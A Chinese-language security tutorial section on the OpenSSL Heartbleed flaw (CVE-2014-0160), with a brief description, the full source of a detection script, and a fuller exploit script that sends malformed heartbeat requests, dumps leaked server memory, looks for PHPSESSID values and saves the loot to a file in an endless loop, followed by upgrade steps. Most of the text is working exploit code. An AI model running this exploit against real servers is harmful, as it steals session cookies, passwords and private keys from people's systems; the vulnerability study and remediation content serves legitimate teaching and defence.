3.4 OpenSSL 漏洞
心脏滴血漏洞(CVE-2014-0160)
漏洞描述
2014年4月7日，OpenSSL发布安全公告，在OpenSSL1.0.1版本及其OpenSSL 1.0.2 Beta1中存在严重漏洞，由于未能正确检测用户输入参数的长度，攻击者可以利用该漏洞，远程读取存在漏洞版本的OpenSSL服务器内存中64K的数据，获取内存中的用户名、密码、个人相关信息以及服务器的证书等私密信息。漏洞复现
首先我们使用我们的poc进行漏洞检测.
#!/usr/bin/python
# coding:utf-8
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import struct
import socket
import time
import select
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
return False
if typ == 24:
return True
if typ == 21:
return False
def check(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(hello)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
s.send(hb)
if hit_hb(s):
print "Heartbleed OpenSSL: %s : %s" % (host, str(port))
else:
print "Not Vulnerable."
s.close()
except:
pass
if __name__ == '__main__':
check('192.168.59.103', 443)将check内的内容修改为你自己的地址与端口
出现如下界面则说明存在漏洞
使用exp脚本获取信息
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford
# (jspenguin@jspenguin.org)
# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
# The authors disclaim copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(
usage='%prog server [options]',
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443,
help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='',
help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def p(data):
user = '/PHPSESSID(.*?)\./'
reg = re.compile(user)
print reg.findall(data)
key = ''
def hexdump(s):
global key
r = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
# print ' %04x: %-48s %s' % (b, hxdat, pdat)
# print "%s" % pdat.strip(),
r = r + pdat
fi = r.replace('..', '').replace('ZZZZZ', '').replace('\.\.', '')
print "%s" % fi
# p(r[:1500])
if fi != key:
f = open('result.txt', 'a')
f.write(fi)
f.close()
key = fi
# print
def recvall(s, length, timeout=4):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
BUFSIZ = 1024
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
s.connect((args[0], opts.port))
if opts.starttls != '':
print 'Sending STARTTLS Protocol Command...'
if opts.starttls == 'smtp':
s.recv(BUFSIZ)
s.send("EHLO openssl.client.net\n")
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'pop3':
s.recv(BUFSIZ)
s.send("STLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'imap':
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'ftp':
s.recv(BUFSIZ)
s.send("AUTH TLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'xmpp': # TODO: This needs SASL
s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
s.recv(BUFSIZ)
print 'Sending Client Hello...'
s.send(hello)
print 'Waiting for Server Hello...'
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
try:
while 1:
main()
except:
time.sleep(5)
while 1:
main()执行：
$ python exp.py 192.168.59.103
读取到的信息在当前目录下的 result.txt 内。
批量版扫描软件
解决方案
1、OpenSSL 已经针对该漏洞发布了1.0.1g版本，如果用户所用OpenSSL是存在漏洞的1.0.1版本，
请升级到1.0.1g及其以上的版本；如果用户所用OpenSSL是1.0.2 Beta1版本，请升级到1.0.2 Beta2及其以上的版本。
以Linux系统源代码编译升级为例，具体操作步骤为：
1）检查服务器OpenSSL版本：
命令：root@localhost# openssl version
结果：OpenSSL 1.0.1f 6 Jan 2014
2）检查现有版本是否存在漏洞，存在漏洞的版本列表请参见OpenSSL漏洞详情页面（OpenSSL TLS Heartbleed 信息泄露漏洞）的受影响系统
3）下载OpenSSL的新版本，官方下载页面（ http://openssl.org/source/）
4）解压缩，并安装新版本：
root@localhost# tar xvfz openssl-1.0.2a.tar.gz
root@localhost# cd openssl-1.0.2a/
root@localhost# ./config
root@localhost# make && make install
5）再次检查OpenSSL版本，确认新版本已安装Last updated
